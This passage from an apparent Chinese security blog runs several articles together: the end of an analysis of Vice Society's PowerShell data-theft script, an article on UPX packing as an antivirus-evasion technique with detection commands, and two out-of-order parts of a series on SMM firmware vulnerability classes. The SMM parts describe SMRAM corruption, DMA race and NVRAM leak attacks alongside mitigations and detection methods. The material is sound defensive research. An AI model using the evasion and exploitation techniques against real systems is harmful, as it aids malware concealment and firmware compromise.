請注意，上面的192.168.42[.]100地址是研究人員使用的測試客戶端虛擬機的IP。在現實場景中，Vice Society的網絡服務器會在這個位置指示受害者的出口IP地址。

基於以上結果，我們可以獲得關於腳本啟動的HTTP活動的一些重要信息：

1.fullpath POST參數不包括發送文件的驅動器號。

2.該腳本沒有向web服務器提供用戶代理字符串。

如果你的環境中運行了網絡安全監控(NSM)或入侵檢測系統(IDS)(如Zeek)，或者數據包捕獲系統，那麼就可能能夠看到傳出的POST請求。這些傳出的日誌可能以字節為單位顯示請求的長度（重點關注傳出的字節數與總字節數），這有助於確定哪些版本的文件被竊取掉了。

總結Vice Society的PowerShell數據竊取腳本是一個簡單的數據竊取工具。使用多處理和排隊來確保腳本不會消耗太多系統資源。然而，該腳本將重點放在文件擴展名超過10 KB的文件以及符合其包含列表的目錄中，這意味著該腳本不會竊取不符合此描述的數據。

不幸的是，Windows環境中PS腳本的性質使得我們難以預防這種類型的威脅。不過研究人員在檢測中總結了一些提前發現它們的線索和技巧。

HireHackking

可執行文件的終極打包程序（UPX）是一種開源打包程序，可以大幅縮減可執行文件的文件大小（縮減效果比Zip文件更好），並且它與眾多可執行格式兼容，比如Windows DDL、macOS應用程序或Linux ELF。

供應商有時使用打包手段來防止基本的逆向工程或非法重新分發。大致說來，打包程序拿來原始的可執行文件後，為新創建的可執行文件添加一小段名為“stub”（存根）的代碼。然後，存根代碼將用於解包文件，並將可執行文件“恢復”到原始狀態。

雖然像UPX這樣的一些打包程序只壓縮文件，但其他打包程序還可以加密文件。

攻擊者可以使用壓縮將惡意軟件隱藏在看似無害的合法文件中，這可以騙過基於特徵的檢測系統，甚至騙過基於高級人工智能（AI）的反病毒解決方案。下面介紹了黑客如何使用UPX確保惡意軟件無法被檢測到的方法。

基於UPX的規避的工作機理UPX可以打包惡意可執行文件並修改其字節，以生成無法被檢測到的惡意軟件版本。

通過自解壓的歸檔可執行文件，當打包文件被執行時，打包程序可以在內存中解包自己。

打包的文件通常在磁盤上比較小，但在內存中比較大。如果你檢查一個可疑的文件，可能會看到如下典型的部分：

UPX0：一個空的部分，不包含實際的原始數據，但有龐大的虛擬內存大小

UPX1：存根代碼和壓縮後的可執行文件

還有其他部分，但在這裡暫停不詳述。

當UPX打包的文件被執行時，所有打包的部分都在內存中解包，包括黑客可能存儲在其中的任何惡意代碼，程序跳轉到原始入口點（OEP）來執行可執行文件。

壓縮是一種典型的逃避技術雖然基於UPX的逃避乍一看可能有點難以理解，但壓縮卻是避免反病毒檢測的一種典型方法。

讀者可以執行的一個簡單測試就是將惡意軟件樣本的原始版本和打包版本上傳到自己青睞的平台，比如VirusTotal。與惡意軟件的原始版本相比，打包版本通常被發現的次數要少得多，許多反病毒工具可能完全漏過了打包版本。

UPX用在惡意軟件部署中有多頻繁方面缺少太多的統計數據，但MITRE列舉了攻擊者可以用來隱藏代碼的種種“基於打包”的程序（https://attack.mitre.org/techniques/T1027/002/）。許多活動似乎都涉及UPX。

檢測UPX打包的文件你可以嘗試一個簡單的UPX命令來發現UPX打包的文件：

upx -l {suspicious_binary}

當然，這個命令很有限，不會一直有效。另一個有限但仍然有效的選項是轉儲十六進制代碼，並蒐索特定的字符串，比如UPX：

hexdump -C {suspicious_binary} | grep 'UPX'

你還可以利用可移植可執行文件（PE）分析器來檢測UPX打包的文件。

挫敗UPX損毀手法和損壞的文件外面觀察到的許多漏洞並不依賴UPX本身來解包惡意代碼，而是故意生成損壞的打包文件。

我們前面分析的基本示例含有非常容易識別的部分，但是攻擊者可以使用十六進制編輯器或其他工具來更改字節或插入字符串，從而使文件極難被檢測出來。

雖然這樣的操作可能會使用upx -d命令破壞典型的解包並拋出錯誤，但二進製文件仍然會執行。

Akamai推薦的upxdump.py等工具可能能夠修復故意損壞的UPX打包的文件，因為它可以修復經常用於混淆UPX打包的惡意軟件已損壞的報頭部分。

但是要小心，因為一些變體只是剝離UPX報頭或註入空字節，這將使工具失效。

打包程序分析和反UPX解包技術反向工程人員和惡意軟件分析師可能會使用ollydbg、radar2甚至流行的Ghydra等工具來分析打包的文件。關鍵步驟是先確定二進製文件是否使用反UPX解包技術。

雖然Mirai等許多類型的惡意軟件使用反UPX解包技術（比如零填充文件）以阻礙安全研究人員的工作，但這並不意味著你不能解包它們。像upx-mod這樣的工具可以助一臂之力。

話雖如此，最老練的威脅分子可能使他們的文件對標準的UPX實現方法而言“無法解包”，不過這種情況似乎相當罕見。

應對UPX打包惡意軟件的最佳實踐使用惡意的UPX打包文件表明，你不能單單依賴防病毒軟件和其他基於特徵的解決方案來發現惡意軟件，無論這些工具推銷自己有多麼先進。

但如果沒有這些工具，你將更容易受到攻擊，不過攻擊者總是會想方設法轉移合法實用程序的視線、繞過檢測。

UPX是一種通用格式，可用於針對各種平台，反UPX解包技術可用於乾擾逆向工程和惡意軟件分析。

一個好的做法是，當用戶不需要UPX時，在一些目錄中禁用執行（比如tmp和下載），特別是在企業環境中，這可以通過安全策略來實現。

確保系統沒有隱藏文件擴展名，但即使情況並非如此，也不能保證沒有人會不明智地點擊，特別是面對針對性的攻擊活動。你需要把可疑的活動和行為記錄下來。

HireHackking

在這篇文章中，我們繼續為讀者分享與SMM漏洞相關的知識、工具和方法。

（接上文）

TOCTOU攻擊類型說明有時，即使在嵌套指針上調用SmmIsBufferOutsideSmmValid()也不足以保證SMI處理程序的安全。其原因是，SMM在設計時沒有考慮到並發性，因此，它受到一些固有的競態條件漏洞的影響，最突出的是針對通信緩衝區的TOCTOU攻擊。因為通信緩衝區本身駐留在SMRAM之外，因此，它的內容可以在SMI處理程序執行時發生改變。這一事實具有嚴重的安全影響，因為它意味著從它那裡兩次獲取的值不一定相同。

為了解決這個問題，多進程環境中的SMM採用了所謂的“SMI會合（SMI rendezvous）”技術。簡而言之，一旦某個CPU進入SMM，一個專門的軟件序言將向系統中所有其他處理器發送一個處理器間中斷（IPI）。這個IPI將使它們也進入SMM，並在那裡等待SMI的完成。只有這樣，第一個處理器才能安全地調用處理函數來實際服務SMI。

該方案在防止其他處理器在使用通信緩衝區時干擾通信緩衝區方面非常有效，但當然，CPU並不是唯一有權訪問內存總線的實體。正如任何操作系統入門課程所教導的那樣，現在許多硬件設備都能夠作為DMA代理運行，這意味著它們可以直接讀/寫內存而根本不需要通過CPU。從性能上講，這些都是好消息，但就固件的安全性而言，卻是一個可怕的壞消息。

1.jpg

DMA感知硬件可以在SMI執行時修改通信緩衝區的內容

為了了解DMA操作如何幫助成為漏洞利用的幫兇的，讓我們來看看以下摘自實際SMI處理程序中的代碼片段：

1.jpg

易受TOCTOU攻擊的SMI處理程序

可以看到，這個處理程序至少在3個不同的位置引用了一個我們命名為field_18的嵌套指針：

首先，從通信緩衝區中檢索其值，並將其保存到SMRAM中的局部變量中。

然後，對局部變量調用SmmIsBufferOutsideSmmValid函數，以確保該變量不與SMRAM重疊。

如果被認為是安全的，則從通信緩衝區中重新讀取嵌套指針，然後將其作為目標參數傳遞給CopyMem函數。

正如前面提到的，沒有什麼能保證從通信緩衝區中連續讀取的內容一定會產生相同的值。這意味著，攻擊者可以通過讓指針引用SMRAM外部的、完全安全的位置來處理該SMI：

1.jpg

處理SMI時通信緩衝區的初始佈局

但是，就在SMI驗證嵌套指針之後、再次獲取它之前，存在一個小的機會窗口，DMA攻擊可以修改其值，使其指向其他地方。由於攻擊者知道，這個指針很快就會傳遞給CopyMem()函數，因此，可以設法讓指針指向要破壞的SMRAM中的地址。

1.jpg

惡意DMA設備可以修改CommBuffer中的指針，使其指向其他地方，當然，也可以指向SMRAM內存

緩解措施如果固件配置正確的話，SMRAM應該可以防止被DMA設備所篡改。為了確保您的機器上的配置是正確的，請通過CHIPSEC運行smm_dma模塊。

1.jpg

檢查系統是否為SMRAM提供了針對DMA攻擊的保護

因此，可以通過將數據從通信緩衝區復製到位於SMRAM中的局部變量來緩解TOCTOU漏洞。

1.jpg

將數據從通信緩衝區復製到SMRAM中的局部變量中

一旦以這種方式將所需的全部數據都複製到SMRAM中，DMA攻擊就無法影響SMI處理程序的執行流了：

1.jpg

如果配置正確，SMRAM就能免受DMA設備的篡改

檢測方法為了檢測SMI處理程序中的TOCTOU漏洞，首先需要重建通信緩衝區的內部佈局，然後計算每個字段被提取的次數。如果同一個字段被同一個執行流程取用了兩次或更多，那麼相應的處理程序就有可能容易受到這種攻擊的影響。這些問題的嚴重性在很大程度上取決於各個字段的類型，其中指針字段是最嚴重的。同樣，正確地重建通信緩衝區的結構對評估潛在的風險也是有很大幫助的。

僅能感知CSEG的處理程序類型說明正如本系列文章之前提到的，SMRAM內存的事實標準位置是“頂部內存段”，通常縮寫為TSEG。然而，在許多機器上，由於兼容性的原因，通常會有一個單獨的SMRAM區域被稱為CSEG（兼容段），並且是與TSEG並存的。與TSEG不同，它在物理內存中的位置可以由BIOS以編程方式確定，而CSEG區域的位置則被固定在0xA0000-0xBFFFF的地址範圍。一些傳統的SMI處理程序在設計時只考慮了CSEG，這一事實可能會被攻擊者所濫用。下面就是這樣的處理程序的例子。

1.jpg

具有一些CSEG特定保護的SMI處理程序

與我們到目前為止審查的處理程序不同，這個SMI處理程序並不是通過通信緩衝區來獲得其參數的。相反，它使用EFI_SMM_CPU_PROTOCOL從SMM的狀態保存區讀取相應的寄存器，該狀態是由CPU在進入SMM時自動創建的。因此，在這個例子中，潛在的攻擊面並非通信緩衝區，而是CPU的通用寄存器，在處理SMI之前，其值幾乎可以隨意設置。

處理程序的操作過程如下所示：

首先，它從狀態保存區讀取ES和EBX寄存器的值。

然後，利用上面的值計算線性地址，相應的公式為：16 * ES + (EBX0xFFFF)。

最後，它檢查計算出來的地址是否位於CSEG的範圍內。如果該地址被認為是安全的，則將其作為參數傳遞給0x3020處的函數。

請注意，該處理程序基本上重新實現了常見的實用函數，如SmmIsBufferOutsideSmmValid()，只是它的實現方式很差，完全忽略了CSEG之外的SMRAM段。理論上講，攻擊者可以設置ES和BX寄存器，使計算出的線性地址指向一些其他的SMRAM區域，如TSEG，從而繞過處理程序所施加的安全檢查。

然而，在實踐中，這種漏洞很可能無法被實際利用。這是因為，我們能達到的最大線性地址為16*0xFFFF+0xFFFF==0x10FFF，而經驗表明，TSEG通常位於更高的地址。儘管如此，了解這樣的處理程序及其帶來的危害還是有好處的。

緩解措施緩解這些漏洞的措施，完全取決於SMI處理程序的開發人員。

檢測方法確定這些漏洞的一個不錯的策略是尋找SMI處理程序，這些處理程序通常會利用“魔術數字”來表示CSEG的一些獨特特徵，其中包括直接值，如0xA0000（CSEG的物理基址）、0x1FFFF（其大小）和0xBFFFF（最後一個可尋址字節）。根據我們的經驗，使用兩個或更多這些值的函數可能具有某些特定於CSEG的行為，必須仔細檢查以評估其潛在風險。

基於SetVariable()函數的信息洩露類型說明到目前為止，所有描述的漏洞類別都集中在劫持SMM執行流程和破壞SMM內存方面。然而，另一個非常重要的漏洞類別是圍繞著洩露SMRAM的內容展開的。眾所周知，SMRAM不能從SMM的外部讀取，這就是為什麼它有時被固件用來存儲必須對外界保密的秘密。除此之外，洩露SMRAM的內容還可以幫助利用其他需要準確了解內存佈局的漏洞。

當SMM代碼試圖更新NVRAM變量的內容時，就會容易發生SMRAM洩露。在UEFI中，更新NVRAM變量的操作並不是一個原子操作，而是由以下步驟組成的複合操作：

分配一個堆棧緩衝區，用來存放與該變量相關的數據。

使用GetVariable()服務，將變量的內容讀入堆棧緩衝區。

對堆棧緩衝區進行所有必要的修改。

使用SetVariable()服務將修改後的堆棧緩衝區寫回NVRAM。

1.jpg

用於更新UEFI變量的UEFI代碼

當調用GetVariable()時，注意第4個參數是作為輸入輸出參數使用的。在進入該函數時，這個參數表示調用方要讀取的字節數，而在返回時，它被設置為實際從NVRAM讀取的字節數。如果變量的實際大小與預期的一致，兩個值應該是一樣的。

當開發者隱含地假設一個變量的大小是不可改變的，問題就出現了。由於這種假設，他們完全忽略了GetVariable()讀取的字節數，而只是在寫入更新的內容時將一個硬編碼的大小傳遞給SetVariable()函數。

1.jpg

上面的代碼隱含地假設CpuSetup的大小總是0x101A，所以，它並沒有檢查GetVariable()實際讀取的字節數。

由於一些NVRAM變量（至少是那些具有EFI_VARIABLE_RUNTIME_ACCESS屬性的變量）的內容可以從操作系統中進行修改，它們可以被濫用來觸發SMM中的信息洩露漏洞，同時也可以同時作為滲出渠道。讓我們看看在實踐中是如何做到這一點的。

首先，攻擊者會使用操作系統提供的API函數，如SetFirmwareEnvironmentVariable()來截斷該變量，從而使其比預期的短。然後，它將繼續觸發易受攻擊的SMI處理程序。 SMI處理程序將：

分配基於堆棧的緩衝區。像其他基於堆棧的內存分配一樣，這個緩衝區默認是未初始化的，這意味著它保存了以前發生在SMM中的函數調用的剩餘部分。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖（第1階段）

調用GetVariable()服務，將變量的內容讀入堆棧緩衝區。通常情況下，變量的大小等於堆棧緩衝區的大小，但由於攻擊者剛剛截斷了NVRAM中的變量，緩衝區肯定會更長。這又意味著，即使在GetVariable()返回後，它還會繼續保存一些未初始化的字節。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖（第2階段）

修改內存中的堆棧緩衝區。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖(第3階段)

調用SetVariable()服務，將修改後的堆棧緩衝區寫回NVRAM中。因為這個調用是使用堆棧緩衝區的硬編碼、恆定大小來完成的，所以它也會將其未初始化的部分寫入NVRAM中。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖（第4階段）

為了完成這個過程，攻擊者現在可以使用API函數，如GetFirmwareEnvironmentVariable()來完全洩露變量的內容，包括來自未初始化部分的字節。

緩解措施這個故事的寓意是，不能盲目相信NVRAM變量，在分析處理程序的攻擊面時應考慮到這一點。如果可以的話，最好使用相應的編譯器標誌，如InitAll，以確保堆棧緩衝區將被零初始化。更有技巧的是，當更新NVRAM變量的內容時，代碼必須始終考慮到變量的實際大小，而不是依賴靜態的、預先計算的值。

然而，緩解這些問題的另一個可能方向是限制對NVRAM變量的訪問。這可以通過完全刪除EFI_VARIABLE_RUNTIME_ACCESS屬性或使用EDKII_VARIABLE_LOCK_PROTOCOL等協議來實現，使變量成為只讀的。

檢測方法我們有理由認為，NVRAM變量的更新操作會在一個函數的執行過程中發生。這意味著我們通常可以忽略一個函數讀取變量而另一個函數寫入變量的場景。要找到這些函數，可以在用efiXplorer分析完輸入文件後，導航到“services”選項卡，搜索SetVariable()後面緊跟著GetVariable()的調用對。

1.jpg

搜索由GetVariable()和SetVariable()組成的調用對

對於每一對這樣的調用，請檢查是否滿足下列條件：

兩個調用都來自同一個函數；

兩個調用都對同一個NVRAM變量進行操作；

傳遞給SetVariable()的大小參數是一個立即值。

1.jpg

檢測SMRAM信息洩漏的簡單啟發式方法

識別庫函數這篇文章大量地引用了諸如FreePool()和SmmIsBufferOutsideSmmValid()等庫函數，並天真地假設我們可以不費吹灰之力地找到它們。問題是這些函數是靜態鏈接到二進製文件中的，通常SMM映像在發送給終端用戶之前會去除所有的調試符號。因此，在IDA數據庫中定位它們是相當具有挑戰性的。

在我們的工作過程中，我們研究了多種方法來解決這個問題，包括使用Diaphora進行自動比對，以及使用一些不太知名的插件進行實驗，如rizzo和fingermatch。最終，我們決定堅持KISS原則，考慮到目標函數的一些獨特特徵，我們決定使用簡單明了的啟發式方法進行匹配。下面是一些用於匹配前面提到的函數的經驗法則。注意，我們假設二進製文件已經被efiXplorer分析過了，這可以讓事情變得更輕鬆。

FreePool函數識別FreePool()是非常簡單的。只需要掃描IDA數據庫滿足下列條件的函數即可：

接收一個整型參數；

有條件地調用gBs-FreePool()或gSmst-FreePool()中的一個(但絕不會同時調用)；

將其輸入參數轉發給這兩個服務。

1.jpg

準確定位FreePool()的簡單啟發式方法

SmmIsBufferOutsideSmmValid函數對SmmIsBufferOutsideSmmValid()函數來說，識別起來就有點棘手了。為了成功地完成這個任務，我們需要掌握一些名為EFI_SMM_ACCESS2_PROTOCOL的UEFI協議的背景信息。這個協議被用來管理和查詢平台上SMRAM的可見性。因此，它提供了相應的方法來打開、關閉和鎖定SMRAM。

1.jpg

EFI_SMM_ACCESS2_PROTOCOL的接口定義

除了這些，這個協議還導出了一個叫做GetCapabilities()的方法，客戶端可以用它來弄清SMRAM在物理內存中的確切位置。

1.jpg

GetCapabilities()函數的說明文檔

返回時，該函數會填充一個EFI_SMRAM_DESCRIPTOR結構體數組，告訴調用方SMRAM的哪些區域是可用的，它們的大小和狀態是什麼，等等。

1.jpg

使用EFI_SMM_ACCESS2_PROTOCOL查詢SMRAM範圍的示例程序的輸出

在EDK2中，通常的做法是將這些EFI_SMRAM_DESCRIPTORS存儲為全局變量，以便其他函數在未來可以輕鬆地訪問它們。正如你可能猜到的，這些函數之一不是別的，而是SmmIsBufferOutsideSmmValid()，它用以遍歷描述符列表，以確定調用方提供的緩衝區是否安全。

1.jpg

SmmIsBufferOutsideSmmValid的源代碼

考慮到這一點，我們識別SmmIsBufferOutsideSmmValid()函數的策略將是反向查找：首先，我們要找到由EFI_SMM_ACCESS2_PROTOCOL初始化的全局SMRAM描述符，然後才根據使用它們的函數，推斷哪個最可能是SmmIsBufferOutsideSmmValid()函數。

從技術上講，只要按照下面的簡單步驟就可以做到這一點：

進入efiXplorer的“protocols”選項卡標籤，雙擊EFI_SMM_ACCESS2_PROTOCOL。這樣，IDA將跳到使用這個GUID的位置（通常是對LocateProtocol的調用）。

1.jpg

在IDA中搜索EFI_SMM_ACCESS2_PROTOCOL

點擊協議的接口指針（EFISmmAccess2Protocol），點擊“x”來搜索其交叉引用。

1.jpg

列出EfiSmmAccess2Protocol的交叉引用

對於每個對GetCapabilities()的調用，檢查第3個參數（SMRAM描述符）是否是一個全局變量。如果是的話，執行下列操作：

點擊“n”，根據一些命名慣例（例如，SmramDescriptor_XXX，其中XXX是一個序號）重新命名它，以便於將來參考。

點擊“y”，將其變量類型設置為EFI_SMRAM_DESCRIPTOR *。

HireHackking

自從我們發布UEFI系列文章的最後一篇以來，已經過去了整整一年了。在此期間，固件安全社區比以往任何時候都更加活躍，並發表了一些高質量的出版物。值得注意的樣本包括發現新的UEFI植入物，如MoonBounce和ESPecter，以及最近由Binarly披露的不少於23個高危BIOS漏洞。

在過去的一年裡，我們也在努力尋找和利用SMM漏洞。在花了幾個月的時間後，我們注意到了SMM代碼中一些重複出現的反模式，並對漏洞的潛在可利用性形成了相當好的直覺。最終，在披露了13個這樣的漏洞後，我們成功地結束了2021年的工作，這些漏洞影響了行業中大多數知名的OEM廠商。此外，還有幾個漏洞仍在走負責任的披露流程，應該很快就會公開。

在這篇文章中，我們將為讀者分享與SMM漏洞相關的知識、工具和方法。我們希望，當大家讀完這篇文章時，自己也能挖掘這種固件漏洞。請注意，本文假設讀者已經熟悉SMM術語和內部結構，所以，如果您對這些內容還不夠熟悉的話，我們強烈建議大家先閱讀參考文獻部分列出的資料。現在，讓我們開始吧。

SMM漏洞的分類雖然在理論上，SMM代碼是與外界相互隔離的，但在現實中的某些情況下，非SMM代碼可以觸發甚至影響在SMM內部運行的代碼。因為SMM的架構非常複雜，裡面有很多“活動部件”，所以，因此攻擊面非常大，其中涉及通信緩衝區、NVRAM變量、支持DMA的設備等傳遞的數據，等等。

在下一節中，我們將介紹一些較常見的SMM安全漏洞。對於每種漏洞類型，我們將提供簡短的描述，相應的緩解措施以及檢測策略。請注意，該漏洞清單並不詳盡，只包含SMM環境中特有的漏洞。因此，其中並沒有提及某些非常常見的安全漏洞，如堆棧溢出和重複釋放（double-frees）等漏洞。

系統管理模式調出漏洞（SMM Callout）最基本的SMM漏洞類型被稱為“SMM調出”。每當SMM代碼調用位於SMRAM邊界之外的函數時（如SMRR所定義），就會出現這種漏洞。最常見的調出場景是SMI處理程序：它試圖調用作為其操作的一部分的UEFI啟動服務或運行時服務。擁有操作系統級權限的攻擊者可以在觸發SMI之前修改這些服務所在的物理頁面，從而在受影響的服務被調用後劫持特權執行流程。

1.png

圖1 SMM調出漏洞示意圖

緩解措施最明顯的方法，就是防止寫出這種有問題的代碼；此外，我們也可以在硬件層面提供相應的緩解措施。從第四代酷睿微架構（Haswell）開始，英特爾CPU支持一個名為SMM_Code_Chk_En的安全功能。如果這個安全功能被打開，一旦進入SMM，CPU將被禁止執行位於SMRAM區域之外的任何代碼。您可以將這個功能視為Supervisor Mode Execution Prevention(SMEP)的SMM等價物。

通過執行CHIPSEC的smm_code_chk模塊，可以查詢這種緩解措施的工作狀態。

1.png

圖2 使用chipsec查詢針對SMM調出漏洞的硬件緩解措施

檢測方法針對SMM調出漏洞的靜態檢測方法其實是非常簡單的。在分析給定的SMM二進製文件時，要仔細查找導致調用UEFI啟動或運行時服務的執行流程的SMI處理程序。這樣一來，尋找SMM調出漏洞的問題就被簡化為搜索調用圖中某些路徑的問題。幸運的是，我們根本不需要手動完成這項工作，因為efiXplorer IDA插件已經實現了這種啟發式方法。

正如我們在本系列的前幾篇文章中提到的，efiXplorer能夠提供一站式服務，它已經成為了用IDA分析UEFI二進製文件的事實上的標準方法。它提供了下列功能：

定位和重命名已知的UEFI GUID；

定位和重命名SMI處理程序；

定位和重命名UEFI啟動/運行時服務；

efiXplorer的最新版本使用Hex-Rays反編譯器來改進分析過程。其中一個特點是能夠為傳遞給LocateProtocol()或其SMM對應的SmmLocateProtocol()等方法的接口指針分配正確的類型。

給Ghidra用戶的一點提示：我們還想補充的是，Ghidra插件efiSeek負責上述列表中的所有變更。但是，它不包括efiXplorer所提供的協議窗口和漏洞檢測功能等用戶界面元素。

在完成對輸入文件的分析後，efiXplorer將繼續檢查由SMI處理程序執行的所有調用，從而得到潛在調出的精選清單：

1.png

圖3 efiXplorer發現的調出

1.png

圖4 sub_7F8可以從SMI處理程序訪問，但仍然調用位於SMRAM之外的啟動服務

在大多數情況下，這個啟發式方法工作得很好，但是我們遇到了幾種邊緣情況，這時可能會產生誤報。其中，最常見的誤報是由於使用EFI_SMM_RUNTIME_SERVICES_TABLE所造成的。這是一個UEFI配置表，它暴露了與標準EFI_RUNTIME_SERVICES_TABLE完全相同的功能，唯一顯著的區別是，與它的“標準”對應物不同，它駐留在SMRAM中，因此適合被SMI處理程序所使用。許多SMM二進製文件在完成一些模板式的初始化任務後，經常將全局RuntimeServices指針重新映射到SMM特定的實現：

1.png

圖5 將全局RuntimeService指針重新映射到與SMM兼容的實現上

通過重新映射的指針調用運行時服務，會產生一種乍看之下似乎是調出的情況，儘管仔細檢查會發現並非如此。為了克服這個問題，分析人員應該始終在SMM二進製文件中搜索標識為EFI_SMM_RUNTIME_SERVICES_TABLE的GUID。如果找到這種GUID，則大部分涉及UEFI運行時服務的調出都有可能是誤報。但這並不適用於涉及啟動服務的調出。

1.png

圖6 通過重新映射的RuntimeService指針調用GetVariable()引起的誤報

另一個潛在的誤報來源是各種“雙模式”包裝器函數，這意味著它們可以從SMM和非SMM上下文中進行調用。在內部，如果調用方在SMM中運行，這些函數會派發對SMM服務的調用，否則會派發對等效的啟動/運行時服務的調用。我們在野外看到的最常見的樣本是EDK2的FreePool()，如果要釋放的緩衝區位於SMRAM中，它就調用gSmst-SmmFreePool()，否則就調用gBs-FreePool()。

1.png

圖7 EDK2的FreePool()實用函數是一個常見的誤報來源

正如這個例子所展示的，漏洞分析人員應該意識到，靜態代碼分析技術很難確定某些代碼路徑在實踐中不會被執行，因此，很可能將其標記為調出。在編譯後的二進製文件中識別這種函數的相關技巧和竅門，將在後文中加以介紹。

低址SMRAM損壞類型說明在正常情況下，用於向SMI處理器傳遞參數的通信緩衝區不得與SMRAM重疊。這個限制的理由很簡單：如果不是這樣，那麼每次SMI處理程序將某些數據寫入通信緩衝區的時候——例如，為了向調用方返回狀態代碼時，都會“順帶”修改SMRAM的某些部分，這是不可取的。

1.png

圖8 不應該出現的情況

在EDK2中，負責檢查給定緩衝區是否與SMRAM重疊的函數被稱為SmmIsBufferOutsideSmmValid()。這個函數在每次SMI調用時都會在通信緩衝區上被調用，以便執行這一限制。

1.jpg

圖9 EDK2禁止通信緩衝區與SMRAM重疊

唉，由於通信緩衝區的大小也在攻擊者的控制之下，這種檢查本身並不足以保證全面的保護，因此，一些額外的責任落在了固件開發者的肩上。我們很快就會看到，許多SMI處理程序在這裡出問題了，並留下了一個漏洞，攻擊者可以利用這個漏洞來繞過這個限制，進而破壞SMRAM的低址部分。為了了解為何會出現這種情況，讓我們仔細考察一個具體的例子。

1.jpg

圖10 一個存在安全漏洞的SMI處理程序

上面是現實生活中非常簡單的SMI處理程序。我們可以將其操作分為4步：

檢查參數；

將MSR_IDT_MCR5寄存器的值讀入局部變量；

從中計算一個64位值，然後將結果寫回通信緩衝區；

返回到調用方。

精明的讀者可能知道這樣一個事實，即在第3步中，一個8字節的值被寫入通信緩衝區，但在第1步中，代碼並沒有檢查緩衝區至少8字節長這一先決條件。由於缺乏這項檢查，攻擊者就可以通過以下方式發動攻擊：

將通信緩衝器放到盡可能靠近SMRAM基址的位置（例如SMRAM-1）；

將通信緩衝區的大小設置為足夠小的整數值，例如1字節；

觸發易受攻擊的SMI。從原理上講，內存佈局如下所示：

1.jpg

圖11 調用SMI時的內存佈局

就SmmEntryPoint而言，通信緩衝區只有1個字節長，與SMRAM並不重疊。正因為如此，SmmIsBufferOutsideSmmValid()將成功執行，實際的SMI處理程序將被調用。在第3步中，處理程序將盲目地將一個QWORD值寫入通信緩衝區，這樣做會無意中也對SMRAM的低7個字節也執行了寫入操作。

1.jpg

圖12 損壞發生時的內存佈局

根據EDK2，TSEG（SMRAM的事實上的標準位置）的底部包含一個SMM_S3_RESUME_STATE類型的結構體，其工作是控制從S3睡眠狀態的恢復過程。正如下面所看到的，這個結構體包含了大量的成員和函數指針，它們的損壞會使攻擊者受益。

1.jpg

圖13 SMM_S3_RESUME_STATE對象的定義

緩解措施為了緩解這類漏洞，SMI處理程序必須顯式檢查提供的通信緩衝區和bailout的大小，以防實際大小與預期大小不同。這可以通過下列方式實現：

取消對所提供的CommBufferSize參數的引用，然後將其與預期的大小進行比較。該方法之所以有效，是因為我們已經看到SmmEntryPoint調用了SmmIsBufferOutsideSmmValid(CommBuffer, *CommBufferSize)，以保證緩衝區的*CommBufferSize字節位於SMRAM之外。

1.jpg

圖14 可以通過檢查CommBufferSize參數來緩解低址SMRAM損壞漏洞

再次調用通信緩衝區上的SmmIsBufferOutsideSmmValid()，這一次使用處理程序所期望的大小。

檢測方法為了檢測這類漏洞，我們應該尋找那些沒有正確檢查通信緩衝區大小的SMI處理程序。這表明該處理程序沒有執行以下任何一項：

取消對CommBufferSize參數的引用。

在通信緩衝區上調用SmmIsBufferOutsideSmmValid()。

條件1很容易檢測，因為efiXplorer已經能夠定位SMI處理程序並為它們分配正確的函數原型。條件2也很容易驗證，但關鍵是：由於SmmIsBufferOutsideSmmValid()是靜態鏈接的代碼，所以，我們必須能夠在編譯後的二進製文件中識別它，相關的技巧和竅門將在後面加以介紹。

任意SMRAM損壞類型說明雖然在我們對SMM漏洞的分析中肯定是向前邁進了一大步，但之前的漏洞類別仍然存在幾個重要的限制，使得它們在現實生活場景中難以利用。一個更好、更強大的利用原語將允許我們破壞SMRAM中的任意位置，而不僅僅是那些毗鄰底部的位置。

這樣的利用原語通常可以在其通信緩衝區包含嵌套指針的SMI處理程序中找到。由於通信緩衝區的內部佈局事先並不知道，所以，SMI處理程序本身需要對其進行正確的解析和淨化處理，這通常歸結為對嵌套的指針調用SmmIsBufferOutsideSmmValid()，如果其中一個指針恰好與SMRAM重疊，就跳出。我們就可以在EDK2的SmmLockBox驅動中可以找到一個正確檢查這些條件的教科書式的例子。

1.jpg

圖15 SmmLockBoxSave的子處理程序，用於對嵌套指針進行淨化處理

為了向操作系統報告SMM已經實現了哪些最佳實踐，現代UEFI固件通常會創建並填充一個ACPI表，稱為Windows SMM Mitigations Table，或簡稱WSMT。除其他事項外，WSMT還維護一個名為COMM_BUFFER_NESTED_PTR_PROTECTION的標誌，如果存在該標誌，則表明SMI處理程序不會在未經事先淨化的情況下使用嵌套指針。這個表可以使用chipsec模塊common.wsmt進行轉儲和解析。

1.jpg

圖16 使用CHIPSEC來轉儲和解析WSMT表的內容

不幸的是，實踐表明，大部分情況下報告的緩解措施和現實之間的相關性是很小的。即使存在WSMT，並且報告指出所有支持的緩解措施都是有效的，也經常發現SMM驅動程序完全忘了對通信緩衝區進行淨化處理。利用這一點，攻擊者可以用一個指向SMRAM內存的嵌套指針來觸發有漏洞的SMI。根據特定處理程序的性質，這可能導致指定地址的損壞或從該地址讀取的敏感信息。下面，讓我們來看一個具體的例子。

1.jpg

圖17 SMI處理程序沒有對嵌套指針進行淨化處理，使其容易受到內存損壞的攻擊

在上面的片段中，有一個SMI處理程序，它通過通信緩衝區獲得一些參數。根據反編譯的偽代碼，我們可以推斷出，緩衝區的第一個字節被解釋為一個OpCode字段，指示處理程序接下來應該做什麼（1）。我們可以看出（2），這個字段的有效值是0、2或3。如果實際值與這些值不同，將執行默認子句（3）。在這個子句中，一個錯誤代碼被寫到通訊緩衝區第2個字段所指向的內存位置。由於這個字段和通信緩衝區的全部內容都在攻擊者的控制之下，因此，他們可以在觸發SMI之前對其進行如下設置。

1.jpg

圖18 導致SMRAM損壞的通信緩衝區內容

隨著處理程序的執行，OpCode字段的值將迫使它退回到缺省子句，而地址字段將由攻擊者根據他或她想要破壞的SMRAM的確切部分提前選擇。

緩解措施若要緩解此類漏洞，SMI處理程序必須在使用通信緩衝區之前對其傳遞的任何指針值進行淨化。指針驗證可以通過以下兩種方式之一執行：

調用SmmIsBufferOutsideSmmValid函數：正如前面提到的，SmmIsBufferOutsideSmmValid()是EDK2提供的一個實用函數，用於檢查給定的緩衝區是否與SMRAM重疊。淨化外部輸入指針時，這是首先方法。

